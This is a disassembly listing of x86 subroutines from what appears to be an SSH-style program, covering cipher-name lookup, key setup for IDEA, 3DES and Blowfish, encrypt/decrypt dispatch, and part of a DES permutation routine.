0805c980   55                     push     %ebp
0805c981   b8 4a 00 00 00         mov      $0x4a,%eax   ;74 'x4a x0 x0 x0' "J"
0805c986   89 e5                  mov      %esp,%ebp
0805c988   5d                     pop      %ebp
0805c989   c3                     ret
0805c98a   89 f6                  mov      %esi,%esi


   ;
   ; >---------------------< Subroutine # 244 >---------------------<
   ;
0805c98c <Unknown0244>:
0805c98c   55                     push     %ebp
0805c98d   89 e5                  mov      %esp,%ebp
0805c98f   53                     push     %ebx
0805c990   50                     push     %eax
0805c991   8b 5d 08               mov      0x8(%ebp),%ebx
0805c994   83 fb 07               cmp      $0x7,%ebx
0805c997   76 11                  jbe      0805c9aa <Unknown0244+0x1e>
0805c999   83 ec 08               sub      $0x8,%esp
0805c99c   53                     push     %ebx
0805c99d   68 60 3d 07 08         push     $0x8073d60   ;[in .rodata] 1752197475 'x63 x69 x70 x68'
                                                         "cipher_name: bad cipher number: %d"
0805c9a2   e8 b5 35 ff ff         call     0804ff5c <Unknown0044>
0805c9a7   83 c4 10               add      $0x10,%esp
0805c9aa   8b 04 9d 8c 82 07 08   mov      0x807828c(,%ebx,4),%eax   ;[in .data] 134692183 'x57 x3d x7 x8' "W="
0805c9b1   8b 5d fc               mov      0xfffffffc(%ebp),%ebx
0805c9b4   c9                     leave
0805c9b5   c3                     ret
0805c9b6   89 f6                  mov      %esi,%esi


   ;
   ; >---------------------< Subroutine # 245 >---------------------<
   ;
0805c9b8 <Unknown0245>:
0805c9b8   55                     push     %ebp
0805c9b9   89 e5                  mov      %esp,%ebp
0805c9bb   57                     push     %edi
0805c9bc   56                     push     %esi
0805c9bd   53                     push     %ebx
0805c9be   83 ec 0c               sub      $0xc,%esp
0805c9c1   8b 7d 08               mov      0x8(%ebp),%edi
0805c9c4   80 3f 72               cmpb     $0x72,(%edi)
0805c9c7   75 1f                  jne      0805c9e8 <Unknown0245+0x30>
0805c9c9   80 7f 01 63            cmpb     $0x63,0x1(%edi)
0805c9cd   75 19                  jne      0805c9e8 <Unknown0245+0x30>
0805c9cf   80 7f 02 34            cmpb     $0x34,0x2(%edi)
0805c9d3   75 13                  jne      0805c9e8 <Unknown0245+0x30>
0805c9d5   80 7f 03 00            cmpb     $0x0,0x3(%edi)
0805c9d9   75 0d                  jne      0805c9e8 <Unknown0245+0x30>
0805c9db   8b 0d ac 82 07 08      mov      0x80782ac,%ecx   ;[in .data] 0 'x0 x0 x0 x0' ""
```

```
0805c9e1  85 c9                       test    %ecx,%ecx
0805c9e3  eb 2a                       jmp     0805ca0f <Unknown0245+0x57>
0805c9e5  8d 76 00                    lea     0x0(%esi),%esi
0805c9e8  31 db                       xor     %ebx,%ebx
0805c9ea  31 f6                       xor     %esi,%esi
0805c9ec  83 ec 08                    sub     $0x8,%esp
0805c9ef  57                          push    %edi
0805c9f0  ff b6 8c 82 07 08           pushl   0x807828c(%esi)  ;[in .data] 134692183 'x57 x3d x7 x8' "W="
0805c9f6  e8 d1 d2 fe ff              call    08049ccc <strcmp>
0805c9fb  83 c4 10                    add     $0x10,%esp
0805c9fe  85 c0                       test    %eax,%eax
0805ca00  75 36                       jne     0805ca38 <Unknown0245+0x80>
0805ca02  83 fb 05                    cmp     $0x5,%ebx
0805ca05  75 2d                       jne     0805ca34 <Unknown0245+0x7c>
0805ca07  8b 15 ac 82 07 08           mov     0x80782ac,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
0805ca0d  85 d2                       test    %edx,%edx
0805ca0f  75 10                       jne     0805ca21 <Unknown0245+0x69>
0805ca11  83 ec 0c                    sub     $0xc,%esp
0805ca14  68 a0 3d 07 08              push    $0x8073da0 ;[in .rodata] 1717793345 'x41 x72 x63 x66' "Arcfour
                                                cipher is disabled in this host, using blowfish cipher
                                                instead"
0805ca19  e8 fe 31 ff ff              call    0804fc1c <Unknown0036>
0805ca1e  83 c4 10                    add     $0x10,%esp
0805ca21  c7 05 ac 82 07 08 01 00 00 00  movl  $0x1,0x80782ac  ;1 'x1 x0 x0 x0' ""
0805ca2b  b8 06 00 00 00              mov     $0x6,%eax  ;6 'x6 x0 x0 x0' ""
0805ca30  eb 14                       jmp     0805ca46 <Unknown0245+0x8e>
0805ca32  89 f6                       mov     %esi,%esi
0805ca34  89 d8                       mov     %ebx,%eax
0805ca36  eb 0e                       jmp     0805ca46 <Unknown0245+0x8e>
0805ca38  43                          inc     %ebx
0805ca39  83 c6 04                    add     $0x4,%esi
0805ca3c  83 fb 07                    cmp     $0x7,%ebx
0805ca3f  76 ab                       jbe     0805c9ec <Unknown0245+0x34>
0805ca41  b8 ff ff ff ff              mov     $0xffffffff,%eax  ;-1 'xff xff xff xff' ""
0805ca46  8d 65 f4                    lea     0xfffffff4(%ebp),%esp
0805ca49  5b                          pop     %ebx
0805ca4a  5e                          pop     %esi
0805ca4b  5f                          pop     %edi
0805ca4c  5d                          pop     %ebp
0805ca4d  c3                          ret
0805ca4e  89 f6                       mov     %esi,%esi


  ;
  ; >---------------------<  Subroutine # 246 >---------------------<
  ;
0805ca50 <Unknown0246>:
0805ca50  55                          push    %ebp
0805ca51  89 e5                       mov     %esp,%ebp
0805ca53  57                          push    %edi
0805ca54  56                          push    %esi
0805ca55  53                          push    %ebx
0805ca56  81 ec 88 00 00 00           sub     $0x88,%esp  ;136 'x88 x0 x0 x0' ""
0805ca5c  8d 75 88                    lea     0xffffff88(%ebp),%esi
0805ca5f  8b 5d 10                    mov     0x10(%ebp),%ebx
0805ca62  56                          push    %esi
0805ca63  89 df                       mov     %ebx,%edi
0805ca65  e8 0e 86 ff ff              call    08055078 <Unknown0110>
0805ca6a  fc                          cld
0805ca6b  31 c0                       xor     %eax,%eax
0805ca6d  b9 ff ff ff ff              mov     $0xffffffff,%ecx  ;-1 'xff xff xff xff' ""
0805ca72  f2 ae                       repnz scas %es:(%edi),%al
0805ca74  f7 d1                       not     %ecx
0805ca76  83 c4 0c                    add     $0xc,%esp
0805ca79  49                          dec     %ecx
0805ca7a  51                          push    %ecx
0805ca7b  53                          push    %ebx
0805ca7c  56                          push    %esi
0805ca7d  e8 2a 86 ff ff              call    080550ac <Unknown0111>
0805ca82  58                          pop     %eax
0805ca83  5a                          pop     %edx
0805ca84  56                          push    %esi
0805ca85  8d 9d 78 ff ff ff           lea     0xffffff78(%ebp),%ebx  ;-136 'x78 xff xff xff' "x"
0805ca8b  53                          push    %ebx
0805ca8c  e8 e7 86 ff ff              call    08055178 <Unknown0112>
0805ca91  5f                          pop     %edi
0805ca92  ff 75 14                    pushl   0x14(%ebp)
0805ca95  6a 10                       push    $0x10
0805ca97  53                          push    %ebx
0805ca98  ff 75 0c                    pushl   0xc(%ebp)
0805ca9b  ff 75 08                    pushl   0x8(%ebp)
0805ca9e  e8 3d 00 00 00              call    0805cae0 <Unknown0247>
0805caa3  83 c4 1c                    add     $0x1c,%esp
0805caa6  6a 58                       push    $0x58
```

```
0805caa8  6a 00                     push    $0x0
0805caaa  56                        push    %esi
0805caab  c7 85 78 ff ff ff 00 00 00 00  movl  $0x0,0xffffff78(%ebp)  ;0 'x0 x0 x0 x0' ""
0805cab5  c7 85 7c ff ff ff 00 00 00 00  movl  $0x0,0xffffff7c(%ebp)  ;0 'x0 x0 x0 x0' ""
0805cabf  c7 45 80 00 00 00 00      movl    $0x0,0xffffff80(%ebp)  ;0 'x0 x0 x0 x0' ""
0805cac6  c7 45 84 00 00 00 00      movl    $0x0,0xffffff84(%ebp)  ;0 'x0 x0 x0 x0' ""
0805cacd  e8 da d8 fe ff            call    0804a3ac <memset>
0805cad2  83 c4 10                  add     $0x10,%esp
0805cad5  8d 65 f4                  lea     0xfffffff4(%ebp),%esp
0805cad8  5b                        pop     %ebx
0805cad9  5e                        pop     %esi
0805cada  5f                        pop     %edi
0805cadb  5d                        pop     %ebp
0805cadc  c3                        ret
0805cadd  8d 76 00                  lea     0x0(%esi),%esi


    ;
    ; >--------------------<  Subroutine # 247 >--------------------<
    ;
0805cae0 <Unknown0247>:
0805cae0  55                        push    %ebp
0805cae1  89 e5                     mov     %esp,%ebp
0805cae3  57                        push    %edi
0805cae4  56                        push    %esi
0805cae5  53                        push    %ebx
0805cae6  83 ec 40                  sub     $0x40,%esp
0805cae9  68 54 10 00 00            push    $0x1054   ;4180 'x54 x10 x0 x0' "T"
0805caee  8b 5d 08                  mov     0x8(%ebp),%ebx
0805caf1  6a 00                     push    $0x0
0805caf3  8b 75 0c                  mov     0xc(%ebp),%esi
0805caf6  53                        push    %ebx
0805caf7  e8 b0 d8 fe ff            call    0804a3ac <memset>
0805cafc  8d 45 c8                  lea     0xffffffc8(%ebp),%eax
0805caff  89 33                     mov     %esi,(%ebx)
0805cb01  89 45 c4                  mov     %eax,0xffffffc4(%ebp)
0805cb04  fc                        cld
0805cb05  31 c0                     xor     %eax,%eax
0805cb07  b9 08 00 00 00            mov     $0x8,%ecx  ;8 'x8 x0 x0 x0' ""
0805cb0c  8b 7d c4                  mov     0xffffffc4(%ebp),%edi
0805cb0f  f3 ab                     repz stos %eax,%es:(%edi)
0805cb11  8b 45 14                  mov     0x14(%ebp),%eax
0805cb14  83 c4 10                  add     $0x10,%esp
0805cb17  83 f8 20                  cmp     $0x20,%eax
0805cb1a  76 05                     jbe     0805cb21 <Unknown0247+0x41>
0805cb1c  b8 20 00 00 00            mov     $0x20,%eax  ;32 'x20 x0 x0 x0' " "
0805cb21  57                        push    %edi
0805cb22  50                        push    %eax
0805cb23  ff 75 10                  pushl   0x10(%ebp)
0805cb26  ff 75 c4                  pushl   0xffffffc4(%ebp)
0805cb29  e8 0e d7 fe ff            call    0804a23c <memcpy>
0805cb2e  83 c4 10                  add     $0x10,%esp
0805cb31  83 fe 01                  cmp     $0x1,%esi
0805cb34  74 26                     je      0805cb5c <Unknown0247+0x7c>
0805cb36  83 fe 01                  cmp     $0x1,%esi
0805cb39  7f 0d                     jg      0805cb48 <Unknown0247+0x68>
0805cb3b  85 f6                     test    %esi,%esi
0805cb3d  0f 84 42 01 00 00         je      0805cc85 <Unknown0247+0x1a5>  ;322 'x42 x1 x0 x0' "B"
0805cb43  e9 2c 01 00 00            jmp     0805cc74 <Unknown0247+0x194>  ;300 'x2c x1 x0 x0' ","
0805cb48  83 fe 03                  cmp     $0x3,%esi
0805cb4b  74 4f                     je      0805cb9c <Unknown0247+0xbc>
0805cb4d  83 fe 06                  cmp     $0x6,%esi
0805cb50  0f 84 ee 00 00 00         je      0805cc44 <Unknown0247+0x164>  ;238 'xee x0 x0 x0' ""
0805cb56  e9 19 01 00 00            jmp     0805cc74 <Unknown0247+0x194>  ;281 'x19 x1 x0 x0' ""
0805cb5b  90                        nop
0805cb5c  83 7d 14 0f               cmpl    $0xf,0x14(%ebp)
0805cb60  7f 13                     jg      0805cb75 <Unknown0247+0x95>
0805cb62  83 ec 08                  sub     $0x8,%esp
0805cb65  ff 75 14                  pushl   0x14(%ebp)
0805cb68  68 00 3e 07 08            push    $0x8073e00   ;[in .rodata] 544826699 'x4b x65 x79 x20' "Key length
                                                         %d is insufficient for IDEA."
0805cb6d  e8 96 32 ff ff            call    0804fe08 <Unknown0040>
0805cb72  83 c4 10                  add     $0x10,%esp
0805cb75  83 ec 08                  sub     $0x8,%esp
0805cb78  ff 75 c4                  pushl   0xffffffc4(%ebp)
0805cb7b  8d 43 04                  lea     0x4(%ebx),%eax
0805cb7e  50                        push    %eax
0805cb7f  e8 a4 66 ff ff            call    08053228 <Unknown0075>
0805cb84  83 c4 10                  add     $0x10,%esp
0805cb87  c7 43 6c 00 00 00 00      movl    $0x0,0x6c(%ebx)  ;0 'x0 x0 x0 x0' ""
0805cb8e  c7 43 70 00 00 00 00      movl    $0x0,0x70(%ebx)  ;0 'x0 x0 x0 x0' ""
0805cb95  e9 eb 00 00 00            jmp     0805cc85 <Unknown0247+0x1a5>  ;235 'xeb x0 x0 x0' ""
0805cb9a  89 f6                     mov     %esi,%esi
0805cb9c  83 7d 14 0f               cmpl    $0xf,0x14(%ebp)
```

```
0805cba0  7f 13                    jg      0805cbb5 <Unknown0247+0xd5>
0805cba2  83 ec 08                 sub     $0x8,%esp
0805cba5  ff 75 14                 pushl   0x14(%ebp)
0805cba8  68 40 3e 07 08           push    $0x8073e40   ;[in .rodata] 544826699 'x4b x65 x79 x20' "Key length
                                                        %d is insufficient for 3DES."
0805cbad  e8 56 32 ff ff           call    0804fe08 <Unknown0040>
0805cbb2  83 c4 10                 add     $0x10,%esp
0805cbb5  83 ec 08                 sub     $0x8,%esp
0805cbb8  8d 43 04                 lea     0x4(%ebx),%eax
0805cbbb  50                       push    %eax
0805cbbc  ff 75 c4                 pushl   0xffffffc4(%ebp)
0805cbbf  e8 24 06 00 00           call    0805d1e8 <Unknown0251>
0805cbc4  59                       pop     %ecx
0805cbc5  5e                       pop     %esi
0805cbc6  8d 83 8c 00 00 00        lea     0x8c(%ebx),%eax   ;140 'x8c x0 x0 x0' ""
0805cbcc  50                       push    %eax
0805cbcd  8d 45 d0                 lea     0xffffffd0(%ebp),%eax
0805cbd0  50                       push    %eax
0805cbd1  e8 12 06 00 00           call    0805d1e8 <Unknown0251>
0805cbd6  83 c4 10                 add     $0x10,%esp
0805cbd9  83 7d 14 10              cmpl    $0x10,0x14(%ebp)
0805cbdd  7f 11                    jg      0805cbf0 <Unknown0247+0x110>
0805cbdf  83 ec 08                 sub     $0x8,%esp
0805cbe2  8d 83 14 01 00 00        lea     0x114(%ebx),%eax   ;276 'x14 x1 x0 x0' ""
0805cbe8  50                       push    %eax
0805cbe9  ff 75 c4                 pushl   0xffffffc4(%ebp)
0805cbec  eb 10                    jmp     0805cbfe <Unknown0247+0x11e>
0805cbee  89 f6                    mov     %esi,%esi
0805cbf0  83 ec 08                 sub     $0x8,%esp
0805cbf3  8d 83 14 01 00 00        lea     0x114(%ebx),%eax   ;276 'x14 x1 x0 x0' ""
0805cbf9  50                       push    %eax
0805cbfa  8d 45 d8                 lea     0xffffffd8(%ebp),%eax
0805cbfd  50                       push    %eax
0805cbfe  e8 e5 05 00 00           call    0805d1e8 <Unknown0251>
0805cc03  83 c4 10                 add     $0x10,%esp
0805cc06  c7 83 84 00 00 00 00 00 00 00  movl  $0x0,0x84(%ebx)   ;0 'x0 x0 x0 x0' ""
0805cc10  c7 83 88 00 00 00 00 00 00 00  movl  $0x0,0x88(%ebx)   ;0 'x0 x0 x0 x0' ""
0805cc1a  c7 83 0c 01 00 00 00 00 00 00  movl  $0x0,0x10c(%ebx)  ;0 'x0 x0 x0 x0' ""
0805cc24  c7 83 10 01 00 00 00 00 00 00  movl  $0x0,0x110(%ebx)  ;0 'x0 x0 x0 x0' ""
0805cc2e  c7 83 94 01 00 00 00 00 00 00  movl  $0x0,0x194(%ebx)  ;0 'x0 x0 x0 x0' ""
0805cc38  c7 83 98 01 00 00 00 00 00 00  movl  $0x0,0x198(%ebx)  ;0 'x0 x0 x0 x0' ""
0805cc42  eb 41                    jmp     0805cc85 <Unknown0247+0x1a5>
0805cc44  83 7d 14 07              cmpl    $0x7,0x14(%ebp)
0805cc48  7f 13                    jg      0805cc5d <Unknown0247+0x17d>
0805cc4a  83 ec 08                 sub     $0x8,%esp
0805cc4d  ff 75 14                 pushl   0x14(%ebp)
0805cc50  68 80 3e 07 08           push    $0x8073e80   ;[in .rodata] 544826699 'x4b x65 x79 x20' "Key length
                                                        %d is insufficient for Blowfish"
0805cc55  e8 ae 31 ff ff           call    0804fe08 <Unknown0040>
0805cc5a  83 c4 10                 add     $0x10,%esp
0805cc5d  ff 75 18                 pushl   0x18(%ebp)
0805cc60  0f bf 45 14              movswl  0x14(%ebp),%eax
0805cc64  50                       push    %eax
0805cc65  ff 75 10                 pushl   0x10(%ebp)
0805cc68  8d 43 04                 lea     0x4(%ebx),%eax
0805cc6b  50                       push    %eax
0805cc6c  e8 57 32 00 00           call    0805fec8 <Unknown0300>
0805cc71  eb 0f                    jmp     0805cc82 <Unknown0247+0x1a2>
0805cc73  90                       nop
0805cc74  83 ec 08                 sub     $0x8,%esp
0805cc77  56                       push    %esi
0805cc78  68 c0 3e 07 08           push    $0x8073ec0   ;[in .rodata] 1752197475 'x63 x69 x70 x68'
                                                        "cipher_set_key: unknown cipher: %d"
0805cc7d  e8 da 32 ff ff           call    0804ff5c <Unknown0044>
0805cc82  83 c4 10                 add     $0x10,%esp
0805cc85  8d 7d c8                 lea     0xffffffc8(%ebp),%edi
0805cc88  fc                       cld
0805cc89  31 c0                    xor     %eax,%eax
0805cc8b  b9 08 00 00 00           mov     $0x8,%ecx   ;8 'x8 x0 x0 x0' ""
0805cc90  f3 ab                    repz stos %eax,%es:(%edi)
0805cc92  8d 65 f4                 lea     0xfffffff4(%ebp),%esp
0805cc95  5b                       pop     %ebx
0805cc96  5e                       pop     %esi
0805cc97  5f                       pop     %edi
0805cc98  5d                       pop     %ebp
0805cc99  c3                       ret
0805cc9a  89 f6                    mov     %esi,%esi


  ;
  ; >--------------------< Subroutine # 248 >--------------------<
  ;
0805cc9c <Unknown0248>:
0805cc9c  55                       push    %ebp
```

```
0805cc9d  89 e5                      mov    %esp,%ebp
0805cc9f  56                         push   %esi
0805cca0  53                         push   %ebx
0805cca1  8b 55 08                   mov    0x8(%ebp),%edx
0805cca4  8b 02                      mov    (%edx),%eax
0805cca6  83 f8 01                   cmp    $0x1,%eax
0805cca9  8b 75 0c                   mov    0xc(%ebp),%esi
0805ccac  8b 5d 10                   mov    0x10(%ebp),%ebx
0805ccaf  8b 4d 14                   mov    0x14(%ebp),%ecx
0805ccb2  74 38                      je     0805ccec <Unknown0248+0x50>
0805ccb4  83 f8 01                   cmp    $0x1,%eax
0805ccb7  72 1f                      jb     0805ccd8 <Unknown0248+0x3c>
0805ccb9  83 f8 03                   cmp    $0x3,%eax
0805ccbc  74 46                      je     0805cd04 <Unknown0248+0x68>
0805ccbe  83 f8 06                   cmp    $0x6,%eax
0805ccc1  74 79                      je     0805cd3c <Unknown0248+0xa0>
0805ccc3  89 45 0c                   mov    %eax,0xc(%ebp)
0805ccc6  c7 45 08 00 3f 07 08       movl   $0x8073f00,0x8(%ebp)  ;[in .rodata] 1752197475 'x63 x69 x70 x68'
                                                                  "cipher_encrypt: unknown cipher: %d"
0805cccd  8d 65 f8                   lea    0xfffffff8(%ebp),%esp
0805ccd0  5b                         pop    %ebx
0805ccd1  5e                         pop    %esi
0805ccd2  5d                         pop    %ebp
0805ccd3  e9 84 32 ff ff             jmp    0804ff5c <Unknown0044>  ;-52604 'x84 x32 xff xff' ""
0805ccd8  89 4d 10                   mov    %ecx,0x10(%ebp)
0805ccdb  89 5d 0c                   mov    %ebx,0xc(%ebp)
0805ccde  89 75 08                   mov    %esi,0x8(%ebp)
0805cce1  8d 65 f8                   lea    0xfffffff8(%ebp),%esp
0805cce4  5b                         pop    %ebx
0805cce5  5e                         pop    %esi
0805cce6  5d                         pop    %ebp
0805cce7  e9 50 d5 fe ff             jmp    0804a23c <memcpy>  ;-76464 'x50 xd5 xfe xff' "P"
0805ccec  83 ec 0c                   sub    $0xc,%esp
0805ccef  51                         push   %ecx
0805ccf0  53                         push   %ebx
0805ccf1  56                         push   %esi
0805ccf2  8d 42 6c                   lea    0x6c(%edx),%eax
0805ccf5  50                         push   %eax
0805ccf6  8d 42 04                   lea    0x4(%edx),%eax
0805ccf9  50                         push   %eax
0805ccfa  e8 15 68 ff ff             call   08053514 <Unknown0082>
0805ccff  83 c4 20                   add    $0x20,%esp
0805cd02  eb 54                      jmp    0805cd58 <Unknown0248+0xbc>
0805cd04  83 ec 0c                   sub    $0xc,%esp
0805cd07  51                         push   %ecx
0805cd08  53                         push   %ebx
0805cd09  56                         push   %esi
0805cd0a  8d 82 94 01 00 00          lea    0x194(%edx),%eax  ;404 'x94 x1 x0 x0' ""
0805cd10  50                         push   %eax
0805cd11  8d 82 14 01 00 00          lea    0x114(%edx),%eax  ;276 'x14 x1 x0 x0' ""
0805cd17  50                         push   %eax
0805cd18  8d 82 0c 01 00 00          lea    0x10c(%edx),%eax  ;268 'xc x1 x0 x0' ""
0805cd1e  50                         push   %eax
0805cd1f  8d 82 8c 00 00 00          lea    0x8c(%edx),%eax  ;140 'x8c x0 x0 x0' ""
0805cd25  50                         push   %eax
0805cd26  8d 82 84 00 00 00          lea    0x84(%edx),%eax  ;132 'x84 x0 x0 x0' ""
0805cd2c  50                         push   %eax
0805cd2d  8d 42 04                   lea    0x4(%edx),%eax
0805cd30  50                         push   %eax
0805cd31  e8 06 0a 00 00             call   0805d73c <Unknown0255>
0805cd36  83 c4 30                   add    $0x30,%esp
0805cd39  eb 1d                      jmp    0805cd58 <Unknown0248+0xbc>
0805cd3b  90                         nop
0805cd3c  8d 42 04                   lea    0x4(%edx),%eax
0805cd3f  89 4d 14                   mov    %ecx,0x14(%ebp)
0805cd42  89 5d 10                   mov    %ebx,0x10(%ebp)
0805cd45  89 75 0c                   mov    %esi,0xc(%ebp)
0805cd48  89 45 08                   mov    %eax,0x8(%ebp)
0805cd4b  8d 65 f8                   lea    0xfffffff8(%ebp),%esp
0805cd4e  5b                         pop    %ebx
0805cd4f  5e                         pop    %esi
0805cd50  5d                         pop    %ebp
0805cd51  e9 02 2e 00 00             jmp    0805fb58 <Unknown0298+0x44>  ;11778 'x2 x2e x0 x0' ""
0805cd56  89 f6                      mov    %esi,%esi
0805cd58  8d 65 f8                   lea    0xfffffff8(%ebp),%esp
0805cd5b  5b                         pop    %ebx
0805cd5c  5e                         pop    %esi
0805cd5d  5d                         pop    %ebp
0805cd5e  c3                         ret
0805cd5f  90                         nop


  ;
  ; >---------------------<  Subroutine # 249 >---------------------<
```

```
                                  ;
0805cd60 <Unknown0249>:
0805cd60  55                           push    %ebp
0805cd61  89 e5                        mov     %esp,%ebp
0805cd63  56                           push    %esi
0805cd64  53                           push    %ebx
0805cd65  8b 55 08                     mov     0x8(%ebp),%edx
0805cd68  8b 02                        mov     (%edx),%eax
0805cd6a  83 f8 01                     cmp     $0x1,%eax
0805cd6d  8b 75 0c                     mov     0xc(%ebp),%esi
0805cd70  8b 5d 10                     mov     0x10(%ebp),%ebx
0805cd73  8b 4d 14                     mov     0x14(%ebp),%ecx
0805cd76  74 38                        je      0805cdb0 <Unknown0249+0x50>
0805cd78  83 f8 01                     cmp     $0x1,%eax
0805cd7b  72 1f                        jb      0805cd9c <Unknown0249+0x3c>
0805cd7d  83 f8 03                     cmp     $0x3,%eax
0805cd80  74 46                        je      0805cdc8 <Unknown0249+0x68>
0805cd82  83 f8 06                     cmp     $0x6,%eax
0805cd85  74 79                        je      0805ce00 <Unknown0249+0xa0>
0805cd87  89 45 0c                     mov     %eax,0xc(%ebp)
0805cd8a  c7 45 08 40 3f 07 08         movl    $0x8073f40,0x8(%ebp)   ;[in .rodata] 1752197475 'x63 x69 x70 x68'
                                                                       "cipher_decrypt: unknown cipher: %d"
0805cd91  8d 65 f8                     lea     0xfffffff8(%ebp),%esp
0805cd94  5b                           pop     %ebx
0805cd95  5e                           pop     %esi
0805cd96  5d                           pop     %ebp
0805cd97  e9 c0 31 ff ff               jmp     0804ff5c <Unknown0044>   ;-52800 'xc0 x31 xff xff' ""
0805cd9c  89 4d 10                     mov     %ecx,0x10(%ebp)
0805cd9f  89 5d 0c                     mov     %ebx,0xc(%ebp)
0805cda2  89 75 08                     mov     %esi,0x8(%ebp)
0805cda5  8d 65 f8                     lea     0xfffffff8(%ebp),%esp
0805cda8  5b                           pop     %ebx
0805cda9  5e                           pop     %esi
0805cdaa  5d                           pop     %ebp
0805cdab  e9 8c d4 fe ff               jmp     0804a23c <memcpy>   ;-76660 'x8c xd4 xfe xff' ""
0805cdb0  83 ec 0c                     sub     $0xc,%esp
0805cdb3  51                           push    %ecx
0805cdb4  53                           push    %ebx
0805cdb5  56                           push    %esi
0805cdb6  8d 42 6c                     lea     0x6c(%edx),%eax
0805cdb9  50                           push    %eax
0805cdba  8d 42 04                     lea     0x4(%edx),%eax
0805cdbd  50                           push    %eax
0805cdbe  e8 fd 68 ff ff               call    080536c0 <Unknown0083>
0805cdc3  83 c4 20                     add     $0x20,%esp
0805cdc6  eb 54                        jmp     0805ce1c <Unknown0249+0xbc>
0805cdc8  83 ec 0c                     sub     $0xc,%esp
0805cdcb  51                           push    %ecx
0805cdcc  53                           push    %ebx
0805cdcd  56                           push    %esi
0805cdce  8d 82 94 01 00 00            lea     0x194(%edx),%eax   ;404 'x94 x1 x0 x0' ""
0805cdd4  50                           push    %eax
0805cdd5  8d 82 14 01 00 00            lea     0x114(%edx),%eax   ;276 'x14 x1 x0 x0' ""
0805cddb  50                           push    %eax
0805cddc  8d 82 0c 01 00 00            lea     0x10c(%edx),%eax   ;268 'xc x1 x0 x0' ""
0805cde2  50                           push    %eax
0805cde3  8d 82 8c 00 00 00            lea     0x8c(%edx),%eax   ;140 'x8c x0 x0 x0' ""
0805cde9  50                           push    %eax
0805cdea  8d 82 84 00 00 00            lea     0x84(%edx),%eax   ;132 'x84 x0 x0 x0' ""
0805cdf0  50                           push    %eax
0805cdf1  8d 42 04                     lea     0x4(%edx),%eax
0805cdf4  50                           push    %eax
0805cdf5  e8 aa 09 00 00               call    0805d7a4 <Unknown0256>
0805cdfa  83 c4 30                     add     $0x30,%esp
0805cdfd  eb 1d                        jmp     0805ce1c <Unknown0249+0xbc>
0805cdff  90                           nop
0805ce00  8d 42 04                     lea     0x4(%edx),%eax
0805ce03  89 4d 14                     mov     %ecx,0x14(%ebp)
0805ce06  89 5d 10                     mov     %ebx,0x10(%ebp)
0805ce09  89 75 0c                     mov     %esi,0xc(%ebp)
0805ce0c  89 45 08                     mov     %eax,0x8(%ebp)
0805ce0f  8d 65 f8                     lea     0xfffffff8(%ebp),%esp
0805ce12  5b                           pop     %ebx
0805ce13  5e                           pop     %esi
0805ce14  5d                           pop     %ebp
0805ce15  e9 e6 2e 00 00               jmp     0805fd00 <Unknown0299>   ;12006 'xe6 x2e x0 x0' ""
0805ce1a  89 f6                        mov     %esi,%esi
0805ce1c  8d 65 f8                     lea     0xfffffff8(%ebp),%esp
0805ce1f  5b                           pop     %ebx
0805ce20  5e                           pop     %esi
0805ce21  5d                           pop     %ebp
0805ce22  c3                           ret
0805ce23  90                           nop
```

```
          ;
          ; >---------------------<  Subroutine # 250 >---------------------<
          ;
0805ce24 <Unknown0250>:
0805ce24  55                          push   %ebp
0805ce25  89 e5                       mov    %esp,%ebp
0805ce27  57                          push   %edi
0805ce28  56                          push   %esi
0805ce29  53                          push   %ebx
0805ce2a  83 ec 08                    sub    $0x8,%esp
0805ce2d  8b 5d 0c                    mov    0xc(%ebp),%ebx
0805ce30  c1 eb 04                    shr    $0x4,%ebx
0805ce33  33 5d 08                    xor    0x8(%ebp),%ebx
0805ce36  81 e3 0f 0f 0f 0f           and    $0xf0f0f0f,%ebx    ;252645135 'xf xf xf xf' ""
0805ce3c  31 5d 08                    xor    %ebx,0x8(%ebp)
0805ce3f  8b 45 08                    mov    0x8(%ebp),%eax
0805ce42  c1 e3 04                    shl    $0x4,%ebx
0805ce45  31 5d 0c                    xor    %ebx,0xc(%ebp)
0805ce48  c1 e8 10                    shr    $0x10,%eax
0805ce4b  33 45 0c                    xor    0xc(%ebp),%eax
0805ce4e  0f b7 d8                    movzwl %ax,%ebx
0805ce51  31 5d 0c                    xor    %ebx,0xc(%ebp)
0805ce54  c1 e3 10                    shl    $0x10,%ebx
0805ce57  31 5d 08                    xor    %ebx,0x8(%ebp)
0805ce5a  8b 5d 0c                    mov    0xc(%ebp),%ebx
0805ce5d  c1 eb 02                    shr    $0x2,%ebx
0805ce60  33 5d 08                    xor    0x8(%ebp),%ebx
0805ce63  81 e3 33 33 33 33           and    $0x33333333,%ebx   ;858993459 'x33 x33 x33 x33' "3333"
0805ce69  31 5d 08                    xor    %ebx,0x8(%ebp)
0805ce6c  8d 04 9d 00 00 00 00        lea    0x0(,%ebx,4),%eax  ;0 'x0 x0 x0 x0' ""
0805ce73  8b 5d 08                    mov    0x8(%ebp),%ebx
0805ce76  31 45 0c                    xor    %eax,0xc(%ebp)
0805ce79  c1 eb 08                    shr    $0x8,%ebx
0805ce7c  33 5d 0c                    xor    0xc(%ebp),%ebx
0805ce7f  81 e3 ff 00 ff 00           and    $0xff00ff,%ebx     ;16711935 'xff x0 xff x0' ""
0805ce85  31 5d 0c                    xor    %ebx,0xc(%ebp)
0805ce88  c1 e3 08                    shl    $0x8,%ebx
0805ce8b  31 5d 08                    xor    %ebx,0x8(%ebp)
0805ce8e  8b 5d 0c                    mov    0xc(%ebp),%ebx
0805ce91  d1 eb                       shr    %ebx
0805ce93  33 5d 08                    xor    0x8(%ebp),%ebx
0805ce96  81 e3 55 55 55 55           and    $0x55555555,%ebx   ;1431655765 'x55 x55 x55 x55' "UUUU"
0805ce9c  31 5d 08                    xor    %ebx,0x8(%ebp)
0805ce9f  8b 45 08                    mov    0x8(%ebp),%eax
0805cea2  d1 e3                       shl    %ebx
0805cea4  d1 c0                       rol    %eax
0805cea6  33 5d 0c                    xor    0xc(%ebp),%ebx
0805cea9  8b 55 14                    mov    0x14(%ebp),%edx
0805ceac  89 45 0c                    mov    %eax,0xc(%ebp)
0805ceaf  8b 4d 18                    mov    0x18(%ebp),%ecx
0805ceb2  d1 c3                       rol    %ebx
0805ceb4  85 c9                       test   %ecx,%ecx
0805ceb6  89 5d 08                    mov    %ebx,0x8(%ebp)
0805ceb9  0f 84 45 01 00 00           je     0805d004 <Unknown0250+0x1e0>  ;325 'x45 x1 x0 x0' "E"
0805cebf  c7 45 f0 00 00 00 00        movl   $0x0,0xfffffff0(%ebp)  ;0 'x0 x0 x0 x0' ""
